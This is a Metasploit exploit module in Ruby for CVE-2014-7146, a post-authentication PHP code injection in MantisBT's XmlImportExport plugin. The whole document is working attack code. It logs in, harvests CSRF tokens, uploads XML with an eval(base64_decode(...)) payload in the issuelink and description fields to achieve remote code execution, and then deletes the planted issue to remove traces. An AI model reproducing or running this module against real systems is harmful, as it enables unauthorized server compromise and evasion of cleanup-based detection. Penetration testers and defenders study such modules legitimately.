1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability', 'Description'=> %q{ This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Egidio Romano', # discovery http://karmainsecurity.com 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco ], 'References' => [ ['CVE', '2014-7146'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'Nov 8 2014', 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']), OptString.new('TARGETURI', [ true, 'Base directory path', '/']) ], self.class) end def check res = exec_php('phpinfo(); die();', true) if res && res.body =~ /This program makes use of the Zend/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Unknown end end def do_login() print_status('Checking access to MantisBT...') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'login_page.php'), 'vars_get' => { 'return'=> normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') } }) fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200 session_cookie = res.get_cookies print_status('Logging in...') res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'cookie'=> session_cookie, 'vars_post' => { 'return'=> normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), 'username' => datastore['username'], 'password' => datastore['password'], 'secure_session' => 'on' } }) fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/ "#{session_cookie} #{res.get_cookies}" end def upload_xml(payload_b64, rand_text, cookies, is_check) if is_check timeout = 20 else timeout = 3 end rand_num = Rex::Text.rand_text_numeric(1, 9) print_status('Checking XmlImportExport plugin...') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'plugin.php'), 'cookie' => cookies, 'vars_get' => { 'page' => 'XmlImportExport/import' } }) unless res && res.code == 200 print_error('Error trying to access XmlImportExport/import page...') return false end # Retrieving CSRF token if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ csrf_token = Regexp.last_match[1] else print_error('Error trying to read CSRF token') return false end # Retrieving default project id if res.body =~ /name="project_id" value="([0-9]+)"/ project_id = Regexp.last_match[1] else print_error('Error trying to read project id') return false end # Retrieving default category id if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/ category_id = Regexp.last_match[1] category_name = Regexp.last_match[2] else print_error('Error trying to read default category') return false end # Retrieving default max file size if res.body =~ /name="max_file_size" value="([0-9]+)"/ max_file_size = Regexp.last_match[1] else print_error('Error trying to read default max file size') return false end # Retrieving default step if res.body =~ /name="step" value="([0-9]+)"/ step = Regexp.last_match[1] else print_error('Error trying to read default step value') return false end xml_file = %Q| <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1"> <issue> <id>#{ rand_num }</id> <project id="#{ project_id }">#{ rand_text }</project> <reporter id="#{ rand_num }">#{ rand_text }</reporter> <priority id="30">normal</priority> <severity id="50">minor</severity> <reproducibility id="70">have not tried</reproducibility> <status id="#{ rand_num }">new</status> <resolution id="#{ rand_num }">open</resolution> <projection id="#{ rand_num }">none</projection> <category id="#{ category_id }">#{ category_name }</category> <date_submitted>1415492267</date_submitted> <last_updated>1415507582</last_updated> <eta id="#{ rand_num }">none</eta> <view_state id="#{ rand_num }">public</view_state> <summary>#{ rand_text }</summary> <due_date>1</due_date> <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description> </issue> </mantis> | data = Rex::MIME::Message.new data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"") data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"") data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"") data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"") data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"") data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"") data.add_part("link", nil, nil, "form-data; name=\"fallback\"") data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"") data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"") data_post = data.to_s print_status('Sending payload...') return send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'), 'cookie' => cookies, 'ctype' => "multipart/form-data; boundary=#{ data.bound }", 'data'=> data_post }, timeout) end def exec_php(php_code, is_check = false) # remove comments, line breaks and spaces of php_code payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') # clean b64 payload while Rex::Text.encode_base64(payload_clean) =~ /=/ payload_clean = "#{ payload_clean } " end payload_b64 = Rex::Text.encode_base64(payload_clean) rand_text = Rex::Text.rand_text_alpha(5, 8) cookies = do_login() res_payload = upload_xml(payload_b64, rand_text, cookies, is_check) # When a meterpreter session is active, communication with the application is lost. # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it. cookies = do_login() print_status("Deleting issue (#{ rand_text })...") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'my_view_page.php'), 'cookie' => cookies }) unless res && res.code == 200 print_error('Error trying to access My View page') return false end if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/ issue_id = Regexp.last_match[1] else print_error('Error trying to retrieve issue id') return false end res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'bug_actiongroup_page.php'), 'cookie' => cookies, 'vars_get' => { 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/ csrf_token = Regexp.last_match[1] else print_error('Error trying to retrieve CSRF token') return false end res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'bug_actiongroup.php'), 'cookie' => cookies, 'vars_post' => { 'bug_actiongroup_DELETE_token' => csrf_token, 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/ print_status("Issue number (#{ issue_id }) removed") else print_error("Removing issue number (#{ issue_id }) has failed") return false end # if check return the response if is_check return res_payload else return true end end def exploit unless exec_php(payload.encoded) fail_with(Failure::Unknown, 'Exploit failed, aborting.') end end end |